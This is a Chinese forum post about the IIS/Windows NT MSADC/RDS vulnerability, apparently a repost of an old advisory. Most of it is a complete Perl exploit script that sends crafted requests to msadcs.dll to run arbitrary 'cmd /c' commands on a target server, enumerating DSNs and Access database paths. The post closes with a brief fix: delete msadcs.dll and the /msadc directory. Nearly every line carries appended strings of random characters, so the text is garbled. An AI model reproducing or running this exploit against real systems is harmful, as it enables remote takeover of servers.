社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167568阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Z'u:Em  
{6/Yu: ;  
涉及程序: *E"OQsIl  
Microsoft NT server 4ONou&T  
$@VQ{S  
描述: ;|.~'':  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 )`4g,W  
Eps2  
详细: {j0c)SETN  
如果你没有时间读详细内容的话,就删除: CH`_4UAX%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ; aI`4;  
有关的安全问题就没有了。 $L@os2  
vWGjc2_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 j/C.='?%  
;Wo\MN  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 iJ7?6)\  
关于利用ODBC远程漏洞的描述,请参看: + A=*C  
.b3c n  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b `TA2h  
Q\!0V@$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *irYSTA$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp nMBKZ  
n)~9  
这里不再论述。 \Y?ByY  
z }t{bm  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F74^HQ*J  
uyp|Xh,  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset wM2[i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! GadZ!_.f  
xe=/T# %  
ya*KA.EGg  
#将下面这段保存为txt文件,然后: "perl -x 文件名" '`+GC9VG  
McXid~  
#!perl IM^K]$q$47  
# BB>R=kt  
# MSADC/RDS 'usage' (aka exploit) script !_ng_,J  
# X}-) io  
# by rain.forest.puppy <8'-azpJ6<  
# t+2!"Jr  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Vk#wJ-  
# beta test and find errors! RV&=B%w+  
$_u9Y!  
use Socket; use Getopt::Std; 7*a']W{aJ  
getopts("e:vd:h:XR", \%args); i6.HR?n  
9"jhS0M  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Kt 0 3F$  
gbl`_t/  
if (!defined $args{h} && !defined $args{R}) { }8zw| (GR,  
print qq~ nWyn}+C-  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ~ .dmfA{  
-h <host> = host you want to scan (ip or domain) 7e`ylnP!  
-d <seconds> = delay between calls, default 1 second C5W} o:jE  
-X = dump Index Server path table, if available jMH=lQ+8  
-v = verbose "< c,I=A  
-e = external dictionary file for step 5  UE-+P  
AWXBk+  
Or a -R will resume a command session aj$#8l |zu  
>=WlrmI  
~; exit;} Hp@nxtKxW  
Kc%GxD`  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 3fb"1z#  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ~0^d-,ZD5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h"/y$  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;mi+[`E  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Oh|KbM*vS  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } =:5o"g  
1U/ dc.x5  
if (!defined $args{R}){ $ret = &has_msadc; &2,0?ra2&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g aq"+@fH  
-q8R'?z[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" y|e@zf  
. "cmd /c "; Pf4b/w/  
$in=<STDIN>; chomp $in; wB~5&:]jr  
$command="cmd /c " . $in ; { ]F };_  
?Ji nX'z  
if (defined $args{R}) {&load; exit;} qi&;2Yv  
 3g#  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; BbV@ziL  
&try_btcustmr; d7*fP S  
qrK\f  
print "\nStep 2: Trying to make our own DSN..."; y\M Kd[G7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?Tr]zxtd  
.}O _5b(  
print "\nStep 3: Trying known DSNs..."; 9k`}fk\M  
&known_dsn; l?UFe$9(  
5g-AB`6T  
print "\nStep 4: Trying known .mdbs..."; uE}A-\G  
&known_mdb; {tN?)~ZQ  
qoo+=eh!  
if (defined $args{e}){ ~h<<-c  
print "\nStep 5: Trying dictionary of DSN names..."; uxjx~+qFd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } mHYR?  
"s!|8F6$  
print "Sorry Charley...maybe next time?\n"; Z#1 'STg  
exit; iz0GL&<  
S=N3qBH6  
############################################################################## -fB;pS,  
wUj#ACqB  
sub sendraw { # ripped and modded from whisker 'Pm.b}p<  
sleep($delay); # it's a DoS on the server! At least on mine... CBVL/pxy  
my ($pstr)=@_; #ox &=MY  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~kJ}Z<e  
die("Socket problems\n"); Q, `:RF3  
if(connect(S,pack "SnA4x8",2,80,$target)){ |BC/ERms  
select(S); $|=1; A0@E^bG  
print $pstr; my @in=<S>; He}uE0^  
select(STDOUT); close(S); p:/#nmC<  
return @in; &Oxf^x["]  
} else { die("Can't connect...\n"); }} !L=RhMI  
+'@j~\>^yJ  
############################################################################## 6N<v&7cSB  
2jUEL=+Y  
sub make_header { # make the HTTP request WkF60'Hf  
my $msadc=<<EOT [`]h23vRW  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `> :^c  
User-Agent: ACTIVEDATA Vp.&X 8  
Host: $ip a  St  
Content-Length: $clen ]c=nkS  
Connection: Keep-Alive "3r7/>xy  
PE\.JU  
ADCClientVersion:01.06 ,ezC}V0M  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 d`g)(*  
\a}_=O  
--!ADM!ROX!YOUR!WORLD! U =G}@Y  
Content-Type: application/x-varg q5UD!& W  
Content-Length: $reqlen n$03##pf  
A'=,q  
EOT h,(f3Ik0O  
; $msadc=~s/\n/\r\n/g; (z:DTe  
return $msadc;} YWXY4*G  
EW:tb-%`  
############################################################################## Wj}PtQ%lp/  
V(5=-8k  
sub make_req { # make the RDS request |RA|nu   
my ($switch, $p1, $p2)=@_; G)S (a4  
my $req=""; my $t1, $t2, $query, $dsn; ayR;|S  
cj5; XK  
if ($switch==1){ # this is the btcustmr.mdb query !gKz=-C  
$query="Select * from Customers where City=" . make_shell(); =rB=! ;  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . R'Uw17I  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} JR_s-&GaM  
\{RMj"w:  
elsif ($switch==2){ # this is general make table query >cV^f6fH  
$query="create table AZZ (B int, C varchar(10))"; ] C&AU[U*  
$dsn="$p1";} :1 Y*&s  
nz}} m^-j  
elsif ($switch==3){ # this is general exploit table query bFv,.(h'  
$query="select * from AZZ where C=" . make_shell(); 4uV,$/  
$dsn="$p1";} M`=bJO:  
O7x'q<PFU  
elsif ($switch==4){ # attempt to hork file info from index server {=q$k=ib  
$query="select path from scope()"; i"HENJyCb  
$dsn="Provider=MSIDXS;";} M< 1rQW'  
jlA?JB  
elsif ($switch==5){ # bad query 8e:\T.)M  
$query="select"; _Dv<  
$dsn="$p1";} M#U#I :z%  
e]qbh_A  
$t1= make_unicode($query); (0c L! N;;  
$t2= make_unicode($dsn); bY>JLRQJ-  
$req = "\x02\x00\x03\x00"; c@ea ;Cv  
$req.= "\x08\x00" . pack ("S1", length($t1)); O*:8gu'Y2  
$req.= "\x00\x00" . $t1 ; |LwW/>I  
$req.= "\x08\x00" . pack ("S1", length($t2)); B4>kx#LR  
$req.= "\x00\x00" . $t2 ; ZnVx 'Y  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; VY#:IE:T  
return $req;} |rhCQ"H  
)= :gO`"D  
############################################################################## @ a$HJ:  
TSp;Vr OP  
sub make_shell { # this makes the shell() statement bTrQ(qp  
return "'|shell(\"$command\")|'";} -2\%?A6L  
j0]|$p  
############################################################################## /;K?Y#mf~j  
fho$:S  
sub make_unicode { # quick little function to convert to unicode [tP6FdS/M=  
my ($in)=@_; my $out; i]L4kh5  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } G9_M~N%a  
return $out;} &E{i#r)'T  
TX%W-J _  
############################################################################## >@T(^=Q  
uQYBq)p|  
sub rdo_success { # checks for RDO return success (this is kludge) xwm-)~L4T  
my (@in) = @_; my $base=content_start(@in); HfN:oww  
if($in[$base]=~/multipart\/mixed/){ 49;2tl;F  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} )RFE< Qcj  
return 0;} -T  5$l  
r8uc.z2%  
############################################################################## t622b?w  
Z#i5=,Bk  
sub make_dsn { # this makes a DSN for us ! 54(K6a[  
my @drives=("c","d","e","f"); ,M)NC%0X  
print "\nMaking DSN: "; "V>7u{T  
foreach $drive (@drives) { #;#r4sJwU  
print "$drive: "; L+b"d3!G&%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . F9Bj$`#)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Rw R.*?#  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); G.}Ex!8R7_  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; U_/<tWl\[3  
return 0 if $2 eq "404"; # not found/doesn't exist 6$l6>A  
if($2 eq "200") { @NY$.K#]  
foreach $line (@results) { 4=T>Iy  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} c/g"/ICs  
} return 0;} 2Y+8!4^L a  
N)0I+>, ^  
############################################################################## >~% _U+6  
~Xf&<&5d T  
sub verify_exists { HxgH*IMs  
my ($page)=@_; =u+.o<   
my @results=sendraw("GET $page HTTP/1.0\n\n"); N-+`[8@(P<  
return $results[0];} 6kc/  
#f 4"  
############################################################################## k/|j e~$  
3cp"UU}.  
sub try_btcustmr { wU|Y`wJmF  
my @drives=("c","d","e","f"); " * Qwaq_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v8< MAq  
 FsbX{  
foreach $dir (@dirs) { NyJ=^=F#  
print "$dir -> "; # fun status so you can see progress @$ea-fK??  
foreach $drive (@drives) { d_5wMK6O6  
print "$drive: "; # ditto 6-'Y*  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; g@ ZZcBx  
$reqlenlen=length( "$reqlen" ); 'x-PQQ  
$clen= 206 + $reqlenlen + $reqlen; 1HBdIWhHv.  
vT7ei"~&u  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); I2b\[d  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} e?&4;  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} m9Z3q ;  
=}12S:Qhj  
############################################################################## ,B,2t u2  
tvC7LLNP<  
sub odbc_error { j})6O!L.  
my (@in)=@_; my $base; (:p&[HNuN  
my $base = content_start(@in); P9wx`x""k  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this m;v/(d>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8")1,   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3j2% '$>E^  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jx=2^A/i2-  
return $in[$base+4].$in[$base+5].$in[$base+6];} ZA;wv+hF=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )I`6XG  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -9 AI@^q  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T]5JsrT  
a*8^M\>m4  
############################################################################## CENA!WWQ  
C7]K9  
sub verbose { /}]Irj4m  
my ($in)=@_; } r#by%P  
return if !$verbose; }tIIA"dZ  
print STDOUT "\n$in\n";} @jE<V=?  
=;1MpD  
############################################################################## ^[d|^fRH Q  
e/?>6'6 5  
sub save { jocu=Se@  
my ($p1, $p2, $p3, $p4)=@_; 4Qr16,Us  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |7jUf$Q\p  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; l6X\.oI  
close OUT;} !5~{?sr>  
4g.y$  
############################################################################## :EK.&% 2  
 LWb5C{  
sub load { T/^ /U6JB  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; #_tixg  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); v :YW[THre  
@p=<IN>; close(IN); ]hBp elKJ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); F1@gYNbI,  
$target= inet_aton($ip) || die("inet_aton problems"); PZQb.QAn  
print "Resuming to $ip ..."; (aX5VB**  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w*})ZYIUT  
if($p[1]==1) { 1or4s{bmo  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; H1,;Xrm  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; aF:_1. LC  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); N'fE^jqU  
if (rdo_success(@results)){print "Success!\n";} Os?`!1-  
else { print "failed\n"; verbose(odbc_error(@results));}} 3N) bJ  
elsif ($p[1]==3){ 3B(6^iS  
if(run_query("$p[3]")){ Og`6>?>97  
print "Success!\n";} else { print "failed\n"; }} zL @ZNH  
elsif ($p[1]==4){ xQ `>\f  
if(run_query($drvst . "$p[3]")){ 29?{QJb  
print "Success!\n"; } else { print "failed\n"; }} /x6,"M[97  
exit;} ,H3~mq]  
xj/ +Z!,9  
############################################################################## nQc]f*  
Ojx1IL  
sub create_table { vZM.gn  
my ($in)=@_; !\a'GO[  
$reqlen=length( make_req(2,$in,"") ) - 28; 9HlRf6S  
$reqlenlen=length( "$reqlen" ); F*F U[ 5  
$clen= 206 + $reqlenlen + $reqlen; a X>bC-  
my @results=sendraw(make_header() . make_req(2,$in,"")); BzqM$F( L,  
return 1 if rdo_success(@results); sskwJu1  
my $temp= odbc_error(@results); verbose($temp); ( Ck|RojC  
return 1 if $temp=~/Table 'AZZ' already exists/; 6xs_@Vk|d  
return 0;} /-wAy-W  
?hh 4M  
############################################################################## HR55|`]  
;zD1#dD  
sub known_dsn { fA u^%jiU  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -.|V S|y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", C?e1 a9r  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", .0:t wj  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); nf5Ld"|%9  
V `V Z[  
foreach $dSn (@dsns) { k0{5)Su"xr  
print "."; "-Lbz)k  
next if (!is_access("DSN=$dSn")); W9~vBU  
if(create_table("DSN=$dSn")){ !3{> F"  
print "$dSn successful\n"; C>q,c3s5  
if(run_query("DSN=$dSn")){ g_G'%{T7  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2*6b{}yJH  
print "Something's borked. Use verbose next time\n";}}} print "\n";} /jQW4eW0  
*KO4H  
############################################################################## 6,sZo!G  
/wB<1b"  
sub is_access { #Al.Itj  
my ($in)=@_; uI7 d?s  
$reqlen=length( make_req(5,$in,"") ) - 28; +B$ o8V  
$reqlenlen=length( "$reqlen" ); CPVR  
$clen= 206 + $reqlenlen + $reqlen; }vkrWy^  
my @results=sendraw(make_header() . make_req(5,$in,"")); |->{NU Z{  
my $temp= odbc_error(@results); (&4aebkZO  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Lrgv:n  
return 0;} lzz rzx^  
`1F[.DdF  
############################################################################## >&mlwxqv  
"VxZnT  
sub run_query { ,[}5@cS  
my ($in)=@_; Kd8V,teH  
$reqlen=length( make_req(3,$in,"") ) - 28; dUOvv/,FZT  
$reqlenlen=length( "$reqlen" ); kAbRXID  
$clen= 206 + $reqlenlen + $reqlen; [ Y_6PR  
my @results=sendraw(make_header() . make_req(3,$in,"")); Ycypd\q/  
return 1 if rdo_success(@results); *ktM<N58  
my $temp= odbc_error(@results); verbose($temp); OPR+K ?  
return 0;} r>1M&Y=<  
$\l7aA5~  
############################################################################## TTaSg\K  
9^Q:l0|  
sub known_mdb { *a*\E R  
my @drives=("c","d","e","f","g"); a;J{'PHu  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5 T1M:~u i  
my $dir, $drive, $mdb; Q}~of}h/  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Z -`j)3Y  
JnCp'`  
# this is sparse, because I don't know of many 0[@ 9f1Nk4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", c#M 'Mye  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (.,`<rXw  
"\\system32\\certmdb.mdb", \TS t  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 3!M;Z7qF]  
:B?XNo  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", oR>o/$z$)g  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ;/#E!Ja/ u  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", YB/A0J  
"\\cfusion\\cfapps\\security\\realm_.mdb", T_bk%  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Tx%6whd/'  
"\\cfusion\\database\\cfexamples.mdb", &K5wCNX1  
"\\cfusion\\database\\cfsnippets.mdb", 1\:puC\)  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", R{.5Z/Vp6E  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Fx2z lM&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", e0%?;w-TL  
"\\cfusion\\database\\smpolicy.mdb", _Z'j%/-4@D  
"\\cfusion\\database\cypress.mdb", } )O ^xF ~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /gZrnd?  
"\\website\\cgi-win\\dbsample.mdb", Qhb].V{utV  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 0UeDM*  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" SovK|b &  
); #these are just 4Y5Q>2D}  
foreach $drive (@drives) { B RF=TL5Z  
foreach $dir (@dirs){ fyIL/7hzf4  
foreach $mdb (@sysmdbs) { Xxcv 5.ug  
print "."; "/Fp_g6#:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _V6jn~N  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `An`"$z  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8FyJo.vr(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; E\Hhi.-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} {"l_x]q  
Z.+-MNWV  
foreach $drive (@drives) { L6yRN>5aE  
foreach $mdb (@mdbs) { EzOO6  
print "."; 2@ vSe  
if(create_table($drv . $drive . $dir . $mdb)){ xoI;s}*E  
print "\n" . $drive . $dir . $mdb . " successful\n"; [{e[3b*M|  
if(run_query($drv . $drive . $dir . $mdb)){ 2%"2~d7  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; }Z*@EWc>  
} else { print "Something's borked. Use verbose next time\n"; }}}} az@{O4  
} 0qXd?z$  
J >Zd0Dn  
############################################################################## /v"u4Ipj  
U^SJWYi<Y  
sub hork_idx { mMm_=cfv  
print "\nAttempting to dump Index Server tables...\n"; ~Emeo&X  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3eQ-P8LS  
$reqlen=length( make_req(4,"","") ) - 28; dABmK;  
$reqlenlen=length( "$reqlen" ); sh(G{Yz@  
$clen= 206 + $reqlenlen + $reqlen; #?.Yc%5B  
my @results=sendraw2(make_header() . make_req(4,"","")); @0A7d $J(  
if (rdo_success(@results)){ @mBZu!,  
my $max=@results; my $c; my %d; Ub=g<MYHV  
for($c=19; $c<$max; $c++){ Cw]& B  
$results[$c]=~s/\x00//g; /gT$d2{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hXdc5 ?i?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; mxsmW  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +c5z-X$^]  
$d{"$1$2"}="";} {aP5Mem  
foreach $c (keys %d){ print "$c\n"; } DK 4 8  
} else {print "Index server doesn't seem to be installed.\n"; }} 62K7afH  
T{v(B["!$  
############################################################################## ,-^Grmr4M  
O_aZ\28};C  
sub dsn_dict { AFO g*{1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); }z6@Z#%q  
while(<IN>){ (3YCe{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; xWlj.Tjt}  
next if (!is_access("DSN=$dSn")); T6MlKcw,t  
if(create_table("DSN=$dSn")){ tr0P ;}=  
print "$dSn successful\n"; {vh}f+2  
if(run_query("DSN=$dSn")){ FOiwB^$ >  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2iHD$tw  
print "Something's borked. Use verbose next time\n";}}} 2= 'gC|&s6  
print "\n"; close(IN);} ;n_|t/=  
 {h/[!I `  
############################################################################## U8L%=/N>B  
DJ;il)^  
sub sendraw2 { # ripped and modded from whisker x>vC;E${"  
sleep($delay); # it's a DoS on the server! At least on mine... f<WP< !N%  
my ($pstr)=@_; i-[ic!RnKj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >2l1t}"\  
die("Socket problems\n"); 5Z/xY &  
if(connect(S,pack "SnA4x8",2,80,$target)){ c'nEbelE  
print "Connected. Getting data"; /tI8JXcUK  
open(OUT,">raw.out"); my @in; O@r%G0Jge  
select(S); $|=1; print $pstr; UN#XP$utY  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ~pA_E!3W  
close(OUT); select(STDOUT); close(S); return @in; . (G9mZFV  
} else { die("Can't connect...\n"); }} *4#)or  
,.[T]37  
############################################################################## $Kgw6  
S~L$sqt  
sub content_start { # this will take in the server headers rC.z772y%  
my (@in)=@_; my $c; {]1o($.u  
for ($c=1;$c<500;$c++) { Yl%1e|WV  
if($in[$c] =~/^\x0d\x0a/){ `>&V_^y+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } a;JB8  
else { return $c+1; }}} (A(7?eq  
return -1;} # it should never get here actually p>Dv&fX  
y<(q<V#0!S  
############################################################################## !gA<9h  
*YmR7g|k  
sub funky { sFv68Ag+  
my (@in)=@_; my $error=odbc_error(@in); Z18T<e  
if($error=~/ADO could not find the specified provider/){ nNJU@<|{*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?g gl8bzA  
exit;} GlkTpX^b  
if($error=~/A Handler is required/){ rOd<nP^`\  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^=:e9i3u  
exit;} _u TaN  
if($error=~/specified Handler has denied Access/){ -t~l!! N(  
print "\nServer has custom handler filters (they most likely are patched)\n"; ApHs`0=(  
exit;}} +{U0PI82  
A\p'\@f  
############################################################################## ]OIB;h;3  
Zp@j*P  
sub has_msadc { :YaEMQJ^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .CGPG,\2  
my $base=content_start(@results); G"P@AOw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); KvENH=oh  
return 0;} J'c]':U  
u6^cLQO+  
######################## iJ n<  
x"xl3dRu  
?'ID7mL  
解决方案: r >bMx~a]  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 91%QO?hz  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 w#|uR^~  
K|JpkEw  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八